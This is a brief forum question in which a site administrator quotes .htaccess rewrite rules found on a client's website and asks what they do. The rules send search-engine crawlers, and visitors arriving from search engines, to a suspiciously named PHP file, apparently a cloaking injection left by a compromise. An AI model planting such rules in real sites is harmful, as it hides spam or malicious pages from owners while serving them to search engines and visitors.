htaccess code - not sure what this code does

Currently i was accessing .htaccess file of a client website and find these code

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]

RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)

RewriteRule ^(.*)$ ascendant-evileye.php?$1 [L]

Can anyone tell me how this redirect code working.